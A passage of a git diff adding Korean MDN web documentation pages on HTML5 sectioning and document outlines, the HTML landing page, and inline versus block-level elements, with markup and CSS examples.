+
+<pre class="brush:xml">&lt;section&gt;
+ &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.
+ ...섹션 내용 진행 중...
+ &lt;h3 class="implicit subsection"&gt;서식지&lt;/h3&gt;
+ &lt;p&gt;둥근귀코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.
+ ...하위 섹션 내용 진행 중...
+&lt;/section&gt;</pre>
+
+<p>이는 다음과 같은 문서 아웃라인을 갖게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+ 1.1 서식지 <em>(</em>h3 요소에 의해 은연중 자동으로 정의됨<em>)</em>
+</pre>
+
+<p>만약에 이전에 사용된 제목과 같은 계급이라면, (명시적으로 정의되었을 수도 있지요!) 바로 이전 섹션과 구분되면서 같은 계급의 또 하나의 새로운 암묵적 섹션으로 자리하게 됩니다:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+ &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.
+ ...섹션 내용 진행 중...
+ &lt;h1 class="implicit section"&gt;몽골 게르빌루스쥐&lt;/h1&gt;
+ &lt;p&gt;몽골 게르빌루스쥐는 귀엽고 작은 포유 동물입니다.
+ ...<span style="color: #323333; font-family: courier new;">섹션 내용</span> 진행 중...
+&lt;/section&gt;</pre>
+
+<p>위 코드는 다음과 같은 문서 아웃라인을 갖게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+2. 몽골 게르빌루스쥐 (h1 요소에 의해 자동으로 정의됨과 동시에 이전 섹션과 구분되어 짐)
+</pre>
+
+<p>만약에 이전에 사용된 제목보다 더 높은 계급의 제목이 사용되었다면, 이전 섹션과 구분되면서 더 높은 제목의 계급을 가진 또 하나의 새로운 암묵적 섹션으로 자리하게 됩니다:</p>
+
+<pre class="brush:xml">&lt;body&gt;
+ &lt;h1&gt;포유 동물&lt;/h1&gt;
+ &lt;h2&gt;고래&lt;/h2&gt;
+ &lt;p&gt;이번 섹션에선, 유영하는 고래에 관해 알아보겠습니다.
+ ...<span style="color: #323333; font-family: courier new;">섹션 내용</span> 진행 중...
+ &lt;section&gt;
+ &lt;h3&gt;둥근귀코끼리&lt;/h3&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.
+ ...<span style="color: #323333; font-family: courier new;">섹션 내용</span> 진행 중...
+ &lt;h3&gt;몽골 게르빌루스쥐&lt;/h3&gt;
+ &lt;p&gt;몽골 게르빌루스쥐의 무리는 몽골을 훨씬 벗어나는 구역까지 퍼져있습니다.
+ ...<span style="color: #323333; font-family: courier new;">하위 섹션 내용</span> 진행 중...
+ &lt;h2&gt;파충류&lt;/h2&gt;
+ &lt;p&gt;파충류는 냉혈 동물입니다.
+ ...<span style="color: #323333; font-family: courier new;">하위 섹션 내용</span> 진행 중...
+ &lt;/section&gt;
+&lt;/body&gt;</pre>
+
+<p>위 코드는 다음과 같은 문서 아웃라인을 갖게 됩니다:</p>
+
+<pre dir="rtl">1. 포유 동물
+ 1.1 고래 <em>(</em>h2 요소에 의해 자동으로 정의됨<em>)</em>
+ 1.2 둥근귀코끼리 <em>(</em>섹션 요소에 의해 명시적으로 정의됨<em>)</em>
+ 1.3 몽골 게르빌루스쥐 <em>(</em>h3 요소에 의해 자동으로 정의됨과 동시에 이전 섹션과 구분되어 짐<em>)</em>
+2. 파충류 <em>(</em>h2 요소에 의해 자동으로 정의됨과 동시에 이전 섹션과 구분되어 짐<em>)</em></pre>
+
+<p>단순히 써진 제목의 태그들만 살펴본다면, 이것은 결코 예상했던 문서의 아웃라인은 아닐 것입니다. 그래서 작성한 마크업이 다른 사람에게도 쉽게 이해되도록 하려면, 섹션을 구분할 때 명시적 섹션 요소의 태그들을 쓰는 것이 바람직하며, 원래 의도하는 섹션의 중첩 수준을 고려해서 그에 어울리는 제목의 계급을 써야 합니다. 그런데 이것이 꼭 HTML5 명세서에서 요구하는 필수 준수 사항은 아닙니다. 만약에 작성한 문서의 아웃라인을 <span style="line-height: inherit;">브라우저가 </span><span style="line-height: inherit;">원래 의도한 방향으로 표시해 주지 못한다면, 혹시 사용한 제목 요소가 은연중 자동으로 기존 섹션과 구분되게 사용되었는지 확인해 보시기 바랍니다.</span></p>
+
+<p>제목의 계급은 항상 해당 섹션의 중첩 수준과 일치하도록 쓰라는 규칙의 예외도 있을 수 있는데, 그 중 하나 여러 문서에서 공통으로 재사용되는 섹션의 경우가 있습니다. 예를 들면, 섹션 내용이 어떤 콘텐츠 관리 시스템에 저장되어 실시간으로 여러 다른 저장된 내용과 함께 조합되어 문서에 표시될 때가 있습니다. 이 경우엔, 재사용되는 섹션의 가장 최상위 제목으로 {{HTMLElement("h1")}}부터 시작해서 사용하실 것을 권장합니다. 그러면 재사용되는 섹션의 중첩 수준은 문서의 섹션 계층 중 해당 섹션이 삽입되어 보이는 위치에 따라 자동으로 결정될 것입니다. 이 경우에도 명시적 섹션 태그가 문서 아웃라인을 명확히 하는 데 도움을 줍니다.</p>
+
+<h3 id="섹션_구분의_근원점"><a name="sectioning_root">섹션 구분의 근원점</a></h3>
+
+<p>섹션 구분의 근원점은 HTML 요소 중 자기만의 아웃라인을 가질 수는 있지만, 그 안의 섹션이나 제목이 자기 위에 있는 요소의 아웃라인에는 어떠한 영향도 끼치지 않는 것들을 가리킵니다. 논리적으로 따지면 당연히 문서의 섹션을 구분하는데 그 근본이 되는 {{HTMLElement("body")}}가 여기에 포함되고, 이 외에도 종종 외부 콘텐츠를 페이지에 표시하는 데 사용되는 다음과 같은 요소들도 있습니다: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} 마지막으로 {{HTMLElement("td")}}.</p>
+
+<p>보기:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+ &lt;h1&gt;숲 코끼리&lt;/h1&gt;
+ &lt;section&gt;
+ &lt;h2&gt;소개&lt;/h2&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.&lt;/p&gt;
+ &lt;/section&gt;
+ &lt;section&gt;
+ &lt;h2&gt;서식지&lt;/h2&gt;
+ &lt;p&gt;둥근귀<span style="color: #323333; font-family: courier new;">코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.
+</span> 과학자들은 "&lt;cite&gt;보르네오 섬의 둥근귀코끼리&lt;/cite&gt;"라는 제목의 책에서 다음과 같이 서술하고 있습니다:&lt;/p&gt;
+ &lt;blockquote&gt;
+ &lt;h1&gt;보르네오 섬&lt;/h1&gt;
+ &lt;p&gt;보르네오 섬에 서식하는 둥근귀코끼리...&lt;/p&gt;
+ &lt;/blockquote&gt;
+ &lt;/section&gt;
+&lt;/section&gt;
+</pre>
+
+<p>위의 보기에선 다음과 같은 문서 아웃라인을 가지게 됩니다:</p>
+
+<pre>1. 숲 코끼리
+ 1.1 소개
+ 1.2 서식지</pre>
+
+<p>이 문서의 아웃라인을 살펴보면 외부 인용 문구로 사용된 {{HTMLElement("blockquote")}} 요소의 경우, 섹션 구분의 근원이 되는 요소 중 하나로서 자기가 포함하고 있는 내부 내용의 아웃라인이 외부의 것과 완전히 차단되면서, 전체 문서의 아웃라인에는 포함되지 않았습니다.</p>
+
+<h3 id="문서의_아웃라인_밖에_존재하는_섹션">문서의 아웃라인 밖에 존재하는 섹션</h3>
+
+<p><span style="line-height: inherit;">HTML5에선 웹 문서의 주요 아웃라인에 속하지 않는 섹션을 정의할 수 있도록 하는 새로운 네 가지의 요소들을 소개하고 있습니다:</span></p>
+
+<ol>
+ <li>HTML Aside 섹션 요소({{HTMLElement("aside")}})는 주요 문맥을 담은 요소와 어떤 관련성을 지니고 있지만, 어떤 부연 설명 표시 영역이나 광고처럼 문맥의 주요 흐름 줄기엔 속하지 않는 섹션을 나타냅니다. 물론 자기만의 아웃라인을 가지고 있어서, 문서의 주요 아웃라인엔 포함되지 않습니다.</li>
+ <li>HTML Navigational 섹션 요소({{HTMLElement("nav")}})는 내비게이션 링크들을 포함하고 있는 섹션입니다. 이런 링크들은 문서에 여러 개가 있을 수 있는데, 예를 들어, 콘텐츠 목차와 같은 페이지 내부 링크나 사이트의 내비게이션 링크가 있습니다. 이런 링크는 문서의 주요 문맥과 아웃라인에 포함되지 않아서 보통 처음에는 스크린 리더나 비슷한 보조 기술을 사용하는 장치에서 읽어드리지 않을 수도 있습니다.</li>
+ <li>HTML Header 섹션 요소({{HTMLElement("header")}})는 페이지의 도입부로서 보통 로고나 사이트 이름 그리고 수평 메뉴를 포함하고 있습니다. 이름에서 풍기는 느낌과는 달리 꼭 페이지 처음에 있을 필요는 없습니다.</li>
+ <li>HTML Footer 섹션 요소({{HTMLElement("footer")}})는 페이지의 종결부로서 보통 저작권이나 법률적 고지 혹은 약간의 링크들을 포함하고 있습니다. 이것도 역시 이름이 가진 직설적 의미와 달리 페이지 끝에 있을 필요는 없습니다.</li>
+</ol>
+
+<h2 id="섹션을_구분짓는_요소의_주소와_발행_시간">섹션을 구분짓는 요소의 주소와 발행 시간</h2>
+
+<p>문서를 작성하다 보면 종종 저자의 이름이나 주소와 같은 연락 정보를 공개하고 싶을 때가 있습니다. HTML4에선 이런 목적으로 {{HTMLElement("address")}} 요소가 쓰였는데, HTML5에선 여기에 더 보완된 내용이 추가되었습니다.</p>
+
+<p>가끔 문서에는 여러 명의 저자가 작성한 여러 개의 섹션이 포함되어 있을 수도 있습니다. 메인 페이지의 저자와 다른 또 다른 사람?이 작성한 콘텐츠가 포함된 섹션은 {{HTMLElement("article")}} 요소를 써서 정의합니다. 이렇게 하면, {{HTMLElement("address")}} 요소는 지정?된 위치에 따라 가장 가까운 상위의 {{HTMLElement("body")}} 혹은 {{HTMLElement("article")}}과 연관된 정보로 표시됩니다.</p>
+
+<p>비슷하게, HTML5의 새 {{HTMLElement("time")}} 요소에 pubdate boolean 속성이 지정되었다면 문서 전체의 발행 날짜를 표시해 주는데, article에서처럼, 가장 가까운 상위의 {{HTMLElement("body")}} 혹은 {{HTMLElement("article")}} 과 연관된 정보로 표시됩니다.</p>
+
+<h2 id="HTML5_미지원_브라우저에서_HTML5_요소를_사용하는_법">HTML5 미지원 브라우저에서 HTML5 요소를 사용하는 법</h2>
+
+<p>섹션과 제목 요소들은 대부분의 HTML5 미지원 브라우저에서도 정상적으로 사용하실 수 있습니다. 지원하진 않더라도, 어떤 특별한 DOM 인터페이스가 필요한 것은 아니고 단지 인식하지 못하는 요소는 기본적으로 <code>display:inline</code> 으로 표시되기 때문에 다음과 같이 특별한 CSS 스타일을 지정해 주어야 합니다:</p>
+
+<pre class="brush: css">section, article, aside, footer, header, nav, hgroup {
+ display:block;
+}
+</pre>
+
+<p>물론 웹 개발자가 이들의 스타일을 달리 표시해 줄 수도 있는데, HTML5 미지원 브라우저에선 해당 요소들의 기본 표시 스타일이 원래의 정상적인 것과 다르다는 점을 명심해야 합니다. 또한, 여기엔 {{HTMLElement("time")}} 요소가 포함되지 않았는데, 그 이유는 기본 스타일이 HTML5 미지원 브라우저의 것과 HTML5 호환 브라우저의 것과 서로 같기 때문입니다.</p>
+
+<div>그런데 이 방법도 약간의 제약이 있어서, 어떤 브라우저에선 지원하지 않은 요소의 스타일을 애초에 지정할 수도 없게 되어 있습니다. Internet Explorer(버전 8 이하)가 여기에 해당하는데, 제대로 스타일을 지정해 주려면 다음과 같은 스크립트가 필요합니다:</div>
+
+<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
+ &lt;script&gt;
+ document.createElement("header" );
+ document.createElement("footer" );
+ document.createElement("section");
+ document.createElement("aside" );
+ document.createElement("nav" );
+ document.createElement("article");
+ document.createElement("hgroup" );
+ document.createElement("time" );
+ &lt;/script&gt;
+&lt;![endif]--&gt;</pre>
+
+<p>이 스크립트가 하는 일은, Internet Explorer(8 혹은 그 이하)일 경우, HTML5의 섹션 요소와 제목 요소가 제대로 표시될 수 있도록 실행됩니다. 여기에 언급된 요소들은 전체 페이지의 구조를 정의하는 데 필요한 아주 중요한 요소이기 때문에, 만약에 스크립트의 힘을 빌리지 않다면 표시조차 되지 않게 되면서 문제 될 수 있습니다. 그래서 이런 때를 대비해서 명시적으로 다음과 같은 {{HTMLElement("noscript")}} 요소도 추가되어야 합니다:</p>
+
+<pre class="brush:xml">&lt;noscript&gt;
+ &lt;strong&gt;주의 !&lt;/strong&gt;
+ 귀하가 사용하고 계신 브라우저는 HTML5를 지원하고 있지 않아서, 할 수 없이 JScript를 써서 몇몇 요소가 제대로 보이도록 구현했습니다.
+ 그런데 안타깝게도 귀하의 브라우저에선 스크립트 기능이 꺼져있습니다. 이 페이지가 제대로 표시되려면 스크립트 기능을 켜주셔야만 합니다.
+&lt;/noscript&gt;</pre>
+
+<p>그래서 결국, Internet Explorer(8 혹은 그 이하)처럼 HTML5 미지원 브라우저에서도 HTML5의 섹션과 제목 요소를 제대로 지원하도록 하고, 또 만약을 대비해 이런 미지원 브라우저에서 스크립팅 기능이 꺼져있을 때를 대비해서 다음과 같은 코드를 추가해 줘야 합니다:</p>
+
+<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
+ &lt;script&gt;
+ document.createElement("header" );
+ document.createElement("footer" );
+ document.createElement("section");
+ document.createElement("aside" );
+ document.createElement("nav" );
+ document.createElement("article");
+ document.createElement("hgroup" );
+ document.createElement("time" );
+ &lt;/script&gt;
+ &lt;noscript&gt;
+ &lt;strong&gt;주의 !&lt;/strong&gt;
+ 귀하가 사용하고 계신 브라우저는 HTML5를 지원하고 있지 않아서, 할 수 없이 JScript를 써서 몇몇 요소가 제대로 보이도록 구현했습니다.
+ 그런데 안타깝게도 귀하의 브라우저에선 스크리트 기능이 꺼져있습니다. 이 페이지가 제대로 표시되려면 스크립트 기능을 켜주셔야만 합니다.
+ <code>&lt;/noscript&gt;
+</code>&lt;![endif]--&gt;
+</pre>
+
+<h2 id="맺음말">맺음말</h2>
+
+<p>HTML5에서 소개된 새로운 섹션과 제목 요소는 웹 문서의 구조와 아웃라인을 표준화된 방법으로 작성할 수 있게 도와줍니다. 또한, HTML5를 지원하는 브라우저 사용자나 페이지 내용을 제대로 전달하는데 그 구조 파악이 중요한, 예를 들어 보조 지원 기술의 도움으로 페이지의 내용을 파악하는, 사용자 모두에게 커다란 이득을 안겨다 줍니다. 새로 소개된 의미가 담긴 요소들은, 약간의 노력만 기울인다면, 사용이 간편해서 HTML5 미지원 브라우저에서도 온전히 사용하실 수 있습니다. 그러므로 아무런 제약 없이 마음 놓고 사용하시기 바랍니다.</p>
diff --git a/files/ko/web/html/index.html b/files/ko/web/html/index.html
new file mode 100644
index 0000000000..e3ae601efc
--- /dev/null
+++ b/files/ko/web/html/index.html
@@ -0,0 +1,117 @@
+---
+title: 'HTML: Hypertext Markup Language'
+slug: Web/HTML
+tags:
+ - HTML
+ - HTML 강의
+ - HTML 강좌
+ - HTML 튜토리얼
+ - HTML 프로그래밍
+ - HTML5
+ - Landing
+ - Web
+ - 'l10n:priority'
+translation_of: Web/HTML
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><span class="seoSummary"><strong>HTML</strong>(HyperText Markup Language)은 웹을 이루는 가장 기초적인 구성 요소입니다. HTML은 웹 콘텐츠의 의미와 구조를 정의할 때 사용합니다. HTML 말고도 웹 페이지의 외형과 표현을 서술하고(<a href="/ko/docs/Web/CSS">CSS</a>), 기능과 동작을 서술하는(<a href="/ko/docs/Web/JavaScript">JavaScript</a>) 기술도 있습니다.</span></p>
+
+<p>"Hypertext(하이퍼텍스트)"란 웹 페이지를 다른 페이지로 연결하는 링크를 말합니다. 링크는 웹의 근본적인 속성입니다. 인터넷에 자료를 올리고 다른 사람이 만든 페이지로 링크함으로써, 여러분은 월드 와이드 웹 세계의 능동적인 일원이 될 수 있습니다.</p>
+
+<p>HTML은 웹 브라우저에 표시되는 글, 이미지 등의 다양한 컨텐츠를 표시하기 위해 "마크업"을 사용합니다. HTML 마크업은 {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} 처럼, 수많은 "요소"를 사용합니다.</p>
+
+<p>HTML 요소는 문서의 다른 텍스트와 "태그"로 구분합니다. 태그는 "<code>&lt;</code>", 태그 이름, "<code>&gt;</code>"로 이루어집니다. 태그 안의 요소명은 대소문자를 구분하지 않습니다. 즉, 대문자, 소문자, 아니면 섞어서도 작성할 수 있습니다. 예를 들어 <code>&lt;title&gt;</code>요소는 <code>&lt;Title&gt;</code>, <code>&lt;TITLE&gt;</code>, 그 외 기타 가능한 모든 방법으로 작성할 수 있습니다.</p>
+
+<p>아래에서 HTML을 더 깊이 배워보세요.</p>
+
+<section class="cleared" id="sect1">
+<ul class="card-grid">
+ <li><span>HTML 소개</span>
+
+ <p>웹 개발을 새로 시작하는 분이라면 <a href="/ko/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 기초</a>를 읽고, HTML이 무엇인지와 어떻게 사용하는지 배워보세요.</p>
+ </li>
+ <li><span>HTML 자습서</span>
+ <p>HTML 사용법, 자습서, 완전한 예제 등은 <a href="/ko/docs/Learn/HTML">HTML 익힘장</a>에서 확인할 수 있습니다.</p>
+ </li>
+ <li><span>HTML 참고서</span>
+ <p><a href="/ko/docs/Web/HTML/Reference">방대한 참고서</a>는 HTML을 구성하는 요소와 속성에 대한 자세한 내용을 담고 있습니다.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Tools" id="초보자_자습서">초보자 자습서</h2>
+
+<p>MDN의 <a href="/ko/docs/Learn/HTML">HTML 익힘장</a>은 HTML을 가장 기초부터 알려주는 여러 개의 장을 가지고 있습니다. 이전 경험은 필요하지 않습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a></dt>
+ <dd>이 모듈은 기초를 다져서 당신이 HTML을 텍스트에 적용하거나, 하이퍼링크를 작성하거나, HTML을 이용해 웹 페이지를 만드는 등 중요한 개념과 구문에 익숙해지도록 합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Multimedia_and_embedding">멀티미디어와 임베딩</a></dt>
+ <dd>이 모듈은 HTML을 사용해 웹페이지에 멀티미디어를 삽입하는 방법을 살펴봅니다. 이미지를 삽입하는 여러 방법과 오디오, 비디오, 혹은 다른 웹 페이지 자체를 삽입하는 방법을 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Tables">HTML 표</a></dt>
+ <dd>표 형태의 데이터를 이해하기 쉽고 접근성 높은 방식으로 웹페이지에 표현하는 것은 어려울 수 있습니다. 이 모듈은 기본적은 표 마크업과 캡션, 요약을 사용하는 복잡한 요소들을 다룹니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a></dt>
+ <dd>양식은 웹의 매우 중요한 부분으로, 회원가입과 로그인, 피드백 전송, 상품 구매 등등 웹 사이트와 상호작용에 필요한 많은 기능을 제공합니다. 이 모듈은 양식의 클라이언트 사이드/프론트 엔드 부분을 만들며 시작합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Howto">HTML로 일반적인 문제 해결하기</a></dt>
+ <dd>제목 다루기, 이미지와 비디오 추가하기, 콘텐츠 강조하기, 기본적인 양식 만들기 등 일반적인 문제를 HTML로 해결하는 법을 설명한 문서로의 링크를 제공합니다.</dd>
+</dl>
+
+<h2 id="고급_주제">고급 주제</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/CORS_enabled_image">CORS 활성화한 이미지</a></dt>
+ <dd class="landingPageList">
+ <p>{{htmlattrxref("crossorigin", "img")}} 속성을 적절한 {{glossary("CORS")}} 헤더와 조합하면 {{htmlelement("img")}} 요소의 이미지를 외부 {{glossary("origin", "출처")}}에서 가져올 수 있으며, 마치 현재 출처의 이미지인 것처럼 {{htmlelement("canvas")}}에서도 사용할 수 있습니다.</p>
+ </dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/CORS_settings_attributes">CORS 설정 특성</a></dt>
+ <dd class="landingPageList">
+ <p>{{htmlelement("img")}}, {{htmlelement("video")}} 등 {{glossary("CORS")}}를 지원하는 일부 HTML 요소는 <code>crossorigin</code> 특성(<code>crossOrigin</code> 속성)을 보유하며, 해당 요소가 데이터를 가져올 때의 CORS 요청을 통제할 수 있습니다.</p>
+ </dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Preloading_content">rel="preload"로 콘텐츠 미리 불러오기</a></dt>
+ <dd class="landingPageList">
+ <p>{{htmlelement("link")}}요소의 {{htmlattrxref("rel", "link")}} 속성의 프리로드 값을 사용하면, 브라우저의 메인 렌더링 작업이 시작되기 전 페이지 로드 과정 중 라이프사이클 초기에 프리로딩을 시작하고자 하는 리소스를 지정하여 HTML {{htmlelement("head")}}에 선언적인 가져오기 요청을 쓸 수 있습니다. 이것은 리소스들이 더 일찍 이용가능 하도록 만들고 페이지의 첫 번째 렌더를 차단할 가능성을 감소시켜 성능 향상에 이르게 합니다. 이 글은 프리로드(<code>preload</code>) 작동 방법에 대한 기본적인 지침을 제공합니다.</p>
+ </dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="참고서">참고서</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Reference">HTML 참고서</a></dt>
+ <dd class="landingPageList">HTML은 <strong>요소</strong>로 이루어져있으며, 각각의 요소는 몇 가지 <strong>특성</strong>을 사용해 수정할 수 있습니다. HTML 문서는 서로 <a href="/ko/docs/Web/HTML/Link_types">링크</a>로 연결되어 있습니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Element">HTML 요소 참고서</a></dt>
+ <dd class="landingPageList">모든 {{glossary("HTML")}} {{glossary("Element", "요소")}}의 목록을 살펴보세요.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Attributes">HTML 특성 참고서</a></dt>
+ <dd class="landingPageList">HTML 요소는 <strong>특성</strong>을 가집니다. 특성은 요소와 요소의 동작 방식을 다양하게 설정하고 수정하는 일련의 추가 값입니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></dt>
+ <dd class="landingPageList">전역 특성은 모든 <a href="/ko/docs/Web/HTML/Element">HTML 요소</a>에 지정할 수 있으며, 심지어 표준에 명시되지 않은 요소에도 지정할 수 있습니다. 이는, 비표준 요소를 사용하는 순간 문서가 HTML5를 준수하지 않음에도 불구하고, 비표준 요소 역시 전역 특성을 허용해야 함을 의미합니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a>와 <a href="/ko/docs/Web/HTML/Block-level_elements">블록 레벨 요소</a></dt>
+ <dd class="landingPageList">HTML의 요소는 역사적으로 "블록 레벨" 요소와 "인라인" 요소로 분류됐습니다. 인라인 요소는 콘텐츠의 흐름을 끊지 않고, 요소를 구성하는 태그에 할당된 공간만 차지합니다. 블록 레벨 요소는 부모 요소의 전체 공간을 차지하여 "블록"을 만듭니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Link_types">링크 유형</a></dt>
+ <dd class="landingPageList">HTML에선 두 문서간의 관계를 명시할 때 여러 링크 유형을 사용합니다. 유형을 설정할 수 있는 링크 타입 요소들은 <code>&lt;a&gt;</code>, <code>&lt;area&gt;</code>, 또는 <code>&lt;link&gt;</code>가 있습니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/Media/Formats">HTML 미디어 유형과 형식 안내서</a></dt>
+ <dd class="landingPageList">
+ <p>{{HTMLElement("audio")}}와 {{HTMLElement("video")}} 요소를 통해 외부 프로그램 없이 오디오와 비디오 미디어를 재생할 수 있습니다.</p>
+ </dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/Guide/HTML/Content_categories">HTML 콘텐츠 카테고리</a></dt>
+ <dd class="landingPageList">
+ <p>HTML 요소는 공통 특성을 공유하는 요소끼리 묶는 콘텐츠 카테고리 한 가지 이상에 속할 수 있습니다. 콘텐츠 카테고리는 느슨한 관계로 서로 간에 어떤 관계를 형성하지는 않지만, 카테고리에서 공유하는 동작이나 관련 규칙을 정의하고 설명할 때, 특히 복잡한 세부사항을 포함할 때는 더욱 도움이 됩니다.</p>
+ </dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">호환성 모드와 표준 모드</a></dt>
+ <dd class="landingPageList">호환성 모드와 표준 모드에 대한 역사적인 정보.</dd>
+</dl>
+
+<h2 class="landingPageList" id="관련_주제">관련 주제</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Applying_color">CSS를 사용해 HTML 요소에 색 입히기</a></dt>
+ <dd>
+ <p>이 문서는 HTML 문서의 어떤 부분에 색을 적용할 수 있는지와, 이 때 사용할 수 있는 CSS 속성을 나열합니다. 예제와 함께 각종 도구로의 링크도 제공합니다.</p>
+ </dd>
+</dl>
+</div>
+</div>
+<span class="alllinks"><a href="/ko/docs/tag/HTML">모두 보기...</a></span></section>
diff --git a/files/ko/web/html/index/index.html b/files/ko/web/html/index/index.html
new file mode 100644
index 0000000000..dde859c07d
--- /dev/null
+++ b/files/ko/web/html/index/index.html
@@ -0,0 +1,10 @@
+---
+title: HTML documentation index
+slug: Web/HTML/Index
+tags:
+ - HTML
+ - Index
+ - MDN Meta
+translation_of: Web/HTML/Index
+---
+<p>{{Index("/ko/docs/Web/HTML")}} <span class="seoSummary">전체 HTML 문서의 목록입니다.</span></p>
diff --git a/files/ko/web/html/inline_elements/index.html b/files/ko/web/html/inline_elements/index.html
new file mode 100644
index 0000000000..b5e0219a01
--- /dev/null
+++ b/files/ko/web/html/inline_elements/index.html
@@ -0,0 +1,169 @@
+---
+title: 인라인 요소
+slug: Web/HTML/Inline_elements
+tags:
+ - Beginner
+ - Development
+ - Guide
+ - HTML
+ - Layout
+ - Web
+translation_of: Web/HTML/Inline_elements
+---
+<p>HTML(<strong>Hypertext Markup Language</strong>)의 요소는 역사적으로 <a href="/ko/docs/HTML/Block-level_elements">"블록 레벨" 요소</a>와 "인라인" 요소로 분류됐습니다. 인라인 요소는 콘텐츠의 흐름을 끊지 않고, 요소를 구성하는 태그에 할당된 공간만 차지합니다. 이 글은 인라인 요소란 무엇인지와 블록 레벨 요소와의 차이점을 살펴봅니다.</p>
+
+<div class="blockIndicator note">
+<p>인라인 요소는 새로운 줄을 만들지 않으며 필요한 너비만 차지합니다.</p>
+</div>
+
+<h2 id="인라인_vs._블록_레벨_요소">인라인 vs. 블록 레벨 요소</h2>
+
+<p>간단한 예제만으로 쉽게 설명할 수 있습니다. 우선 다음 CSS를 사용하겠습니다.</p>
+
+<pre class="brush: css">.highlight {
+ background-color: #ee3;
+}
+</pre>
+
+<h3 id="인라인">인라인</h3>
+
+<p>인라인 요소를 보이는 다음 예제를 확인해주세요.</p>
+
+<pre class="brush: html">&lt;div&gt;다음 span은 &lt;span class="highlight"&gt;인라인 요소&lt;/span&gt;로,
+영향 범위의 시작과 끝을 알 수 있도록 배경색을 지정했습니다.&lt;/div&gt;</pre>
+
+<p>이 예제에서 {{HTMLElement("div")}}는 텍스트를 가진 블록 레벨 요소입니다. 그 텍스트 안에는 인라인 요소인 {{HTMLElement("span")}}이 존재합니다. <code>&lt;span&gt;</code>은 인라인이기 때문에 전체 문단이 끊기지 않고 하나로 그려집니다. 결과도 확인해보세요.</p>
+
+<p>{{EmbedLiveSample("인라인", 600, 80)}}</p>
+
+<div class="hidden">
+<p>For looks, this CSS (not displayed in standard reading mode) is also used:</p>
+
+<pre class="brush: css">body {
+ margin: 0;
+ padding: 4px;
+ border: 1px solid #333;
+}
+
+.highlight {
+ background-color:#ee3;
+}</pre>
+</div>
+
+<h3 id=".EC.97.98.EB.A6.AC.EB.A8.BC.ED.8A.B8" name=".EC.97.98.EB.A6.AC.EB.A8.BC.ED.8A.B8">블록 레벨</h3>
+
+<p>이제 아까 만든 <code>&lt;span&gt;</code>을 마치 {{htmlelement("p")}}처럼 블록 레벨인 요소로 바꿔보겠습니다.</p>
+
+<pre class="brush: html">&lt;div&gt;다음 p는 &lt;p class="highlight"&gt;블록 레벨 요소&lt;/p&gt;로,
+영향 범위의 시작과 끝을 알 수 있도록 배경색을 지정했습니다.</pre>
+
+<div class="hidden">
+<p>The CSS (not displayed in standard reading mode) is also used:</p>
+
+<pre class="brush: css">body {
+ margin: 0;
+ padding: 4px;
+ border: 1px solid #333;
+}
+
+.highlight {
+ background-color:#ee3;
+}</pre>
+</div>
+
+<p>아까와 같은 CSS를 사용했을 때, 결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("블록_레벨", 600, 150)}}</p>
+
